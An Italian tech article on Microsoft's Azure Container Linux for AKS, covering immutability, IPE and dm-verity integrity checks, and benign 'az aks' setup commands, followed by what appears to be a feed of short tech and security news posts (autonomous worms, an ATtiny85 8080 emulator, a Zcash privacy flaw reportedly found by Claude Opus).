Azure Container Linux su AKS: il sistema operativo immutabile e hardened di Microsoft per Kubernetes


A Microsoft Build 2026, Microsoft ha annunciato la disponibilità generale di Azure Container Linux (ACL), un sistema operativo immutabile e hardened progettato specificamente per i nodi di Azure Kubernetes Service (AKS). Contemporaneamente, è entrata in public preview Azure Linux 4.0, la prima distribuzione Linux server di Microsoft per ambienti cloud enterprise. Si tratta di un cambio di paradigma significativo nella gestione dell’infrastruttura Kubernetes: addio al configuration drift, benvenuta riproducibilità totale.

Perché un OS dedicato per Kubernetes?


Chiunque gestisca cluster Kubernetes in produzione conosce bene i problemi legati alla deriva della configurazione (configuration drift). I nodi Linux tradizionali — anche se avviati da un’immagine controllata — tendono ad accumulare modifiche nel tempo: aggiornamenti in-place, file di configurazione modificati manualmente, pacchetti installati per debugging, variazioni tra ambienti diversi. Il risultato è che due nodi teoricamente identici si comportano in modo differente, rendendo debugging e ripristino molto più complessi.

L’altro fronte critico è la superficie di attacco: un OS generalista porta con sé decine di pacchetti, servizi e porte che non hanno alcuna ragione di esistere su un nodo Kubernetes. Ogni componente non necessario è un potenziale vettore di compromissione.

Azure Container Linux nasce esattamente per risolvere entrambi i problemi.

Caratteristiche tecniche di Azure Container Linux

Sistema operativo immutabile basato su Flatcar


ACL è costruito a valle di Flatcar Container Linux, la distribuzione già nota per la sua architettura immutabile e orientata ai container. L’adozione di Flatcar come base garantisce compatibilità con l’ecosistema esistente e un design maturo e collaudato. Su ACL, il filesystem di sistema è montato in sola lettura: nessun processo, nemmeno con privilegi di root, può modificare il sistema operativo a runtime. Questo elimina alla radice la possibilità di configuration drift e rende ogni nodo perfettamente riproducibile.

Integrity Policy Enforcement (IPE)


Una delle innovazioni più rilevanti di ACL è l’integrazione del Linux Security Module IPE (Integrity Policy Enforcement). IPE verifica che solo i binari provenienti da volumi firmati e trusted possano essere eseguiti. Questo controllo si estende anche alle immagini container: grazie all’integrazione con dm-verity — il meccanismo di verifica crittografica a livello di blocco del kernel Linux — ogni layer dell’immagine container viene verificato rispetto a una firma digitale prima che qualsiasi binario al suo interno possa essere eseguito.

In pratica, anche se un attaccante riuscisse a inserire codice malevolo in un layer container o nel filesystem del nodo, IPE bloccherebbe l’esecuzione di qualsiasi binario non autorizzato. È un approccio defense-in-depth particolarmente efficace contro attacchi supply chain e compromissioni post-deployment.

Aggiornamenti tramite node image upgrade


Su un OS immutabile, gli aggiornamenti non avvengono con package manager tradizionali come apt o dnf. ACL si aggiorna esclusivamente tramite il meccanismo di node image upgrade di AKS: il nodo viene sostituito con una nuova immagine aggiornata, garantendo che lo stato di partenza sia sempre pulito e noto. Questo approccio elimina i problemi tipici degli aggiornamenti in-place e semplifica enormemente la gestione del ciclo di vita dei nodi.

Azure Linux 4.0: la distribuzione server di Microsoft


Parallelamente ad ACL, Microsoft ha annunciato la public preview di Azure Linux 4.0, una distribuzione Linux server progettata per ambienti Azure cloud su larga scala. Mentre ACL è ottimizzato per i nodi Kubernetes, Azure Linux 4.0 è pensato come base per workload generici su macchine virtuali Azure. Entrambe le distribuzioni condividono il core di Azure Linux, che fornisce coerenza e compatibilità con l’ecosistema Azure.

Come usare Azure Container Linux su AKS


ACL è disponibile come opzione di sistema operativo per i node pool di AKS. Per creare un cluster o un node pool con ACL, è sufficiente specificare AzureContainerLinux come OS SKU:

# Creare un nuovo cluster AKS con Azure Container Linux
az aks create \
  --resource-group myResourceGroup \
  --name myAKSCluster \
  --node-os-upgrade-channel NodeImage \
  --os-sku AzureContainerLinux \
  --generate-ssh-keys

# Aggiungere un node pool con ACL a un cluster esistente
az aks nodepool add \
  --resource-group myResourceGroup \
  --cluster-name myAKSCluster \
  --name acnodepool \
  --os-sku AzureContainerLinux

Il parametro --node-os-upgrade-channel NodeImage è consigliato per sfruttare appieno il modello di aggiornamento immutabile: AKS si occuperà automaticamente di sostituire i nodi con le versioni aggiornate dell’immagine OS.

Kubernetes 1.35 e Fleet Manager cross-cluster networking


Insieme all’annuncio di ACL, Microsoft Build 2026 ha portato altre novità rilevanti per AKS:

  • Kubernetes 1.35 GA: la versione 1.35 è ora disponibile a livello generale su AKS e in fase di rollout in tutte le region.
  • Azure Kubernetes Fleet Manager per cluster Arc-enabled (GA): gestione di flotte che includono cluster on-premises abilitati ad Azure Arc, con update, policy e placement da un singolo piano di controllo.
  • Cross-cluster networking (preview): networking cross-cluster per Fleet Manager basato su Cilium gestito, con service discovery, policy enforcement e observability tramite eBPF.


Conclusione


Azure Container Linux è una risposta concreta ai problemi di sicurezza e riproducibilità dell’infrastruttura Kubernetes tradizionale. L’approccio immutabile, l’enforcement crittografico dei binari tramite IPE e dm-verity, e l’integrazione nativa con il ciclo di vita AKS lo rendono una scelta solida per chi gestisce workload critici in ambienti con requisiti di compliance (PCI-DSS, HIPAA, ISO 27001). Microsoft Build 2026 segna un momento importante per l’ecosistema AKS, con novità che coprono sicurezza OS, gestione multi-cluster e networking avanzato.

Fonte: Introducing Azure Container Linux (ACL) — Microsoft Community Hub | What’s new in AKS at Microsoft Build 2026


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I worm autonomi stanno arrivando! Il Cybercrime 2.0 è oramai è alle porte

📌 Link all'articolo : redhotcyber.com/post/i-worm-au…

A cura di Massimiliano Brolli

#redhotcyber #news #sicurezzainformatica #intelligenzaartificiale #worminformatici #malware

An Unlikely Host For An 8080 Emulator


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To emulate vintage microprocessor hardware, it’s normal to find a modern host that provides alongside the number-crunching grunt, sufficient physical connections to interface with its support hardware. Thus if you were shopping around it might be reasonable to pick something with a powerful core and plenty of pins. Yet to emulate an 8080, [Ted Fried] has eschewed both of these — opting for an ATtiny85, a microcontroller deficient in both pins and processing power.

This seemingly impossible feat is achieved by reducing the physical connection to an SPI bus and offloading the support functions to a Teensy. The emulation code is significantly optimized C, and includes a 128 byte cache to speed up matters. This delivers a speed claimed to be only very slightly slower than a real 8080 when booting CP/M, which is quite a feat.

We’re sure that CP/M enthusiasts will have fun with this project, and we especially like the full write-up. Going to the effort of making fake 1975 electronics magazine covers for the project really is going the extra mile, and we appreciate that. Meanwhile if you’d like one of your own, the whole thing can be found in a GitHub project.

If you’re not familiar with the 8080, maybe we can get you started.


hackaday.com/2026/06/06/an-unl…

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#Claude #Opus Found a Four-Year-Old Hole in #Zcash's Privacy Layer. Nobody Knows If Someone Already Used It.
securityaffairs.com/193224/hac…
#securityaffairs #hacking
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332 – Mi rifaccia il volto uguale ai filtri dell’AI! camisanicalzolari.it/332-mi-ri…

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Caricabatterie elettrici a rischio: Nuovi bug scoperti dai ricercatori sugli XCharge C6

📌 Link all'articolo : redhotcyber.com/post/caricabat…

A cura di Carolina Vivianti

#redhotcyber #news #sicurezzainformatica #hacking #cybersecurity #veicolielettrici #vulnerabilita

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